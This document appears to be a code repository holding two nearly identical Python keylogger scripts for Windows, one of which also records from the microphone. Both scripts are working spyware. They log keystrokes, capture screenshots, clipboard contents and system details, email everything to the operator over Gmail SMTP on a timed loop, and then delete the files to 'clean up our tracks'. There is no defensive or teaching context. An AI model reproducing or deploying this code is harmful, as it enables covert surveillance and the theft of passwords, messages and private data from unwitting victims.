├── Keylogger with Microphone.py └── Keylogger without Microphone.py /Keylogger with Microphone.py: -------------------------------------------------------------------------------- 1 | # Libraries 2 | from email.mime.multipart import MIMEMultipart 3 | from email.mime.text import MIMEText 4 | from email.mime.base import MIMEBase 5 | from email import encoders 6 | import smtplib 7 | import socket 8 | import platform 9 | import sounddevice as sd 10 | from scipy.io.wavfile import write 11 | import win32clipboard 12 | import pyscreenshot as ImageGrab 13 | from pynput.keyboard import Key, Listener 14 | import time 15 | import os 16 | 17 | # Start up instances of files and paths 18 | 19 | system_information = "system.txt" 20 | audio_information = "audio.wav" 21 | clipboard_information = "clipboard.txt" 22 | screenshot_information = "screenshot.png" 23 | keys_information = "key_log.txt" 24 | extend = "\\" 25 | 26 | file_path = " "# "C:\\Users\\Public\\Roaming" 27 | 28 | # Time Controls 29 | time_iteration = 15 # 7200 # 2 hours 30 | number_of_iterations_end = 2 # 5000 31 | microphone_time = 10 # 600 is 10 minutes 32 | 33 | 34 | # Email Controls 35 | email_address = " " 36 | password = " " 37 | 38 | 39 | ####################################################### 40 | 41 | # Send to email 42 | def send_email(filename, attachment): 43 | # Source code from geeksforgeeks.org 44 | 45 | fromaddr = email_address 46 | toaddr = email_address 47 | 48 | # instance of MIMEMultipart 49 | msg = MIMEMultipart() 50 | 51 | # storing the senders email address 52 | msg['From'] = fromaddr 53 | 54 | # storing the receivers email address 55 | msg['To'] = toaddr 56 | 57 | # storing the subject 58 | msg['Subject'] = "Log File" 59 | 60 | # string to store the body of the mail 61 | body = "Body_of_the_mail" 62 | 63 | # attach the body with the msg instance 64 | msg.attach(MIMEText(body, 'plain')) 65 | 66 | # open the file to be sent 67 | filename = filename 68 | attachment = open(attachment, "rb") 69 | 70 | # instance of MIMEBase and named as p 71 | p = MIMEBase('application', 'octet-stream') 72 | 73 | # To change the payload into encoded form 74 | p.set_payload((attachment).read()) 75 | 76 | # encode into base64 77 | encoders.encode_base64(p) 78 | 79 | p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 80 | 81 | # attach the instance 'p' to instance 'msg' 82 | msg.attach(p) 83 | 84 | # creates SMTP session 85 | s = smtplib.SMTP('smtp.gmail.com', 587) 86 | 87 | # start TLS for security 88 | s.starttls() 89 | 90 | # Authentication 91 | s.login(fromaddr, password) 92 | 93 | # Converts the Multipart msg into a string 94 | text = msg.as_string() 95 | 96 | # sending the mail 97 | s.sendmail(fromaddr, toaddr, text) 98 | 99 | # terminating the session 100 | s.quit() 101 | 102 | # Get Computer and Network Information 103 | def computer_information(): 104 | with open(file_path + extend+ system_information, "a") as f: 105 | hostname = socket.gethostname() 106 | IPAddr = socket.gethostbyname(hostname) 107 | 108 | f.write("Processor: " + (platform.processor() + "\n")) 109 | f.write("System: " + platform.system() + " " + platform.version() + "\n") 110 | f.write("Machine: " + platform.machine() + "\n") 111 | f.write("Hostname: " + hostname + "\n") 112 | f.write("IP Address: " + IPAddr + "\n") 113 | 114 | computer_information() 115 | send_email(system_information, file_path + extend + system_information) 116 | 117 | def microphone(): 118 | fs = 44100 119 | seconds = microphone_time 120 | 121 | myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) 122 | sd.wait() 123 | 124 | write(file_path + extend + audio_information, fs, myrecording) 125 | 126 | 127 | microphone() 128 | send_email(audio_information, file_path + extend + audio_information) 129 | 130 | 131 | # Gather clipboard contents 132 | def copy_clipboard(): 133 | with open(file_path + extend + clipboard_information, "a") as f: 134 | try: 135 | win32clipboard.OpenClipboard() 136 | pasted_data = win32clipboard.GetClipboardData() 137 | win32clipboard.CloseClipboard() 138 | 139 | f.write("Clipboard Data: \n" + pasted_data) 140 | 141 | except: 142 | f.write("Clipboard could not be copied.") 143 | 144 | # Screenshot functionalities 145 | def screenshot(): 146 | im = ImageGrab.grab() 147 | im.save(file_path + extend + screenshot_information) 148 | 149 | # Time controls for keylogger 150 | number_of_iterations = 0 151 | currentTime = time.time() 152 | stoppingTime = time.time() + time_iteration 153 | 154 | 155 | while number_of_iterations < number_of_iterations_end: 156 | 157 | count = 0 158 | keys = [] 159 | 160 | counter = 0 161 | 162 | def on_press(key): 163 | global keys, count, currentTime 164 | 165 | print(key) 166 | keys.append(key) 167 | count += 1 168 | currentTime = time.time() 169 | 170 | if count >= 1: 171 | count = 0 172 | write_file(keys) 173 | keys = [] 174 | 175 | 176 | def write_file(keys): 177 | with open(file_path + extend + keys_information, "a") as f: 178 | for key in keys: 179 | k = str(key).replace("'","") 180 | if k.find("space") > 0: 181 | f.write('\n') 182 | f.close() 183 | elif k.find("Key") == -1: 184 | f.write(k) 185 | f.close() 186 | 187 | def on_release(key): 188 | if key == Key.esc: 189 | return False 190 | if currentTime > stoppingTime: 191 | return False 192 | 193 | 194 | with Listener(on_press=on_press, on_release=on_release) as listener: 195 | listener.join() 196 | 197 | if currentTime > stoppingTime: 198 | # Send keylogger contents to email 199 | send_email(keys_information, file_path + extend + keys_information) 200 | # Clear contens of keylogger log file. 201 | with open(file_path + extend + keys_information, "w") as f: 202 | f.write(" ") 203 | # Take a screenshot and send to email 204 | screenshot() 205 | send_email(screenshot_information, file_path + extend + screenshot_information) 206 | # Gather clipboard contents and send to email 207 | copy_clipboard() 208 | send_email(clipboard_information, file_path + extend + clipboard_information) 209 | 210 | # Increase iteration by 1 211 | number_of_iterations += 1 212 | # Update current time 213 | currentTime = time.time() 214 | stoppingTime = time.time() + time_iteration 215 | 216 | 217 | time.sleep(120) # Sleep two minutes before we delete all files 218 | 219 | # Delete files - clean up our tracks 220 | delete_files = [system_information, audio_information, clipboard_information, screenshot_information, keys_information] 221 | for file in delete_files: 222 | os.remove(file_path + extend + file) 223 | 224 | -------------------------------------------------------------------------------- /Keylogger without Microphone.py: -------------------------------------------------------------------------------- 1 | # Libraries 2 | from email.mime.multipart import MIMEMultipart 3 | from email.mime.text import MIMEText 4 | from email.mime.base import MIMEBase 5 | from email import encoders 6 | import smtplib 7 | import socket 8 | import platform 9 | import sounddevice as sd 10 | from scipy.io.wavfile import write 11 | import win32clipboard 12 | import pyscreenshot as ImageGrab 13 | from pynput.keyboard import Key, Listener 14 | import time 15 | import os 16 | 17 | # Start up instances of files and paths 18 | 19 | system_information = "system.txt" 20 | audio_information = "audio.wav" 21 | clipboard_information = "clipboard.txt" 22 | screenshot_information = "screenshot.png" 23 | keys_information = "key_log.txt" 24 | extend = "\\" 25 | 26 | file_path = " "# "C:\\Users\\Public\\Roaming" 27 | 28 | # Time Controls 29 | time_iteration = 15 # 7200 # 2 hours 30 | number_of_iterations_end = 2 # 5000 31 | microphone_time = 10 # 600 is 10 minutes 32 | 33 | 34 | # Email Controls 35 | email_address = " " 36 | password = " " 37 | 38 | 39 | ####################################################### 40 | 41 | # Send to email 42 | def send_email(filename, attachment): 43 | # Source code from geeksforgeeks.org 44 | 45 | fromaddr = email_address 46 | toaddr = email_address 47 | 48 | # instance of MIMEMultipart 49 | msg = MIMEMultipart() 50 | 51 | # storing the senders email address 52 | msg['From'] = fromaddr 53 | 54 | # storing the receivers email address 55 | msg['To'] = toaddr 56 | 57 | # storing the subject 58 | msg['Subject'] = "Log File" 59 | 60 | # string to store the body of the mail 61 | body = "Body_of_the_mail" 62 | 63 | # attach the body with the msg instance 64 | msg.attach(MIMEText(body, 'plain')) 65 | 66 | # open the file to be sent 67 | filename = filename 68 | attachment = open(attachment, "rb") 69 | 70 | # instance of MIMEBase and named as p 71 | p = MIMEBase('application', 'octet-stream') 72 | 73 | # To change the payload into encoded form 74 | p.set_payload((attachment).read()) 75 | 76 | # encode into base64 77 | encoders.encode_base64(p) 78 | 79 | p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 80 | 81 | # attach the instance 'p' to instance 'msg' 82 | msg.attach(p) 83 | 84 | # creates SMTP session 85 | s = smtplib.SMTP('smtp.gmail.com', 587) 86 | 87 | # start TLS for security 88 | s.starttls() 89 | 90 | # Authentication 91 | s.login(fromaddr, password) 92 | 93 | # Converts the Multipart msg into a string 94 | text = msg.as_string() 95 | 96 | # sending the mail 97 | s.sendmail(fromaddr, toaddr, text) 98 | 99 | # terminating the session 100 | s.quit() 101 | 102 | # Get Computer and Network Information 103 | def computer_information(): 104 | with open(file_path + extend+ system_information, "a") as f: 105 | hostname = socket.gethostname() 106 | IPAddr = socket.gethostbyname(hostname) 107 | 108 | f.write("Processor: " + (platform.processor() + "\n")) 109 | f.write("System: " + platform.system() + " " + platform.version() + "\n") 110 | f.write("Machine: " + platform.machine() + "\n") 111 | f.write("Hostname: " + hostname + "\n") 112 | f.write("IP Address: " + IPAddr + "\n") 113 | 114 | computer_information() 115 | send_email(system_information, file_path + extend + system_information) 116 | 117 | # Gather clipboard contents 118 | def copy_clipboard(): 119 | with open(file_path + extend + clipboard_information, "a") as f: 120 | try: 121 | win32clipboard.OpenClipboard() 122 | pasted_data = win32clipboard.GetClipboardData() 123 | win32clipboard.CloseClipboard() 124 | 125 | f.write("Clipboard Data: \n" + pasted_data) 126 | 127 | except: 128 | f.write("Clipboard could not be copied.") 129 | 130 | # Screenshot functionalities 131 | def screenshot(): 132 | im = ImageGrab.grab() 133 | im.save(file_path + extend + screenshot_information) 134 | 135 | # Time controls for keylogger 136 | number_of_iterations = 0 137 | currentTime = time.time() 138 | stoppingTime = time.time() + time_iteration 139 | 140 | 141 | while number_of_iterations < number_of_iterations_end: 142 | 143 | count = 0 144 | keys = [] 145 | 146 | counter = 0 147 | 148 | def on_press(key): 149 | global keys, count, currentTime 150 | 151 | print(key) 152 | keys.append(key) 153 | count += 1 154 | currentTime = time.time() 155 | 156 | if count >= 1: 157 | count = 0 158 | write_file(keys) 159 | keys = [] 160 | 161 | 162 | def write_file(keys): 163 | with open(file_path + extend + keys_information, "a") as f: 164 | for key in keys: 165 | k = str(key).replace("'","") 166 | if k.find("space") > 0: 167 | f.write('\n') 168 | f.close() 169 | elif k.find("Key") == -1: 170 | f.write(k) 171 | f.close() 172 | 173 | def on_release(key): 174 | if key == Key.esc: 175 | return False 176 | if currentTime > stoppingTime: 177 | return False 178 | 179 | 180 | with Listener(on_press=on_press, on_release=on_release) as listener: 181 | listener.join() 182 | 183 | if currentTime > stoppingTime: 184 | # Send keylogger contents to email 185 | send_email(keys_information, file_path + extend + keys_information) 186 | # Clear contens of keylogger log file. 187 | with open(file_path + extend + keys_information, "w") as f: 188 | f.write(" ") 189 | # Take a screenshot and send to email 190 | screenshot() 191 | send_email(screenshot_information, file_path + extend + screenshot_information) 192 | # Gather clipboard contents and send to email 193 | copy_clipboard() 194 | send_email(clipboard_information, file_path + extend + clipboard_information) 195 | 196 | # Increase iteration by 1 197 | number_of_iterations += 1 198 | # Update current time 199 | currentTime = time.time() 200 | stoppingTime = time.time() + time_iteration 201 | 202 | 203 | time.sleep(120) # Sleep two minutes before we delete all files 204 | 205 | # Delete files - clean up our tracks 206 | delete_files = [system_information, audio_information, clipboard_information, screenshot_information, keys_information] 207 | for file in delete_files: 208 | os.remove(file_path + extend + file) 209 | 210 | --------------------------------------------------------------------------------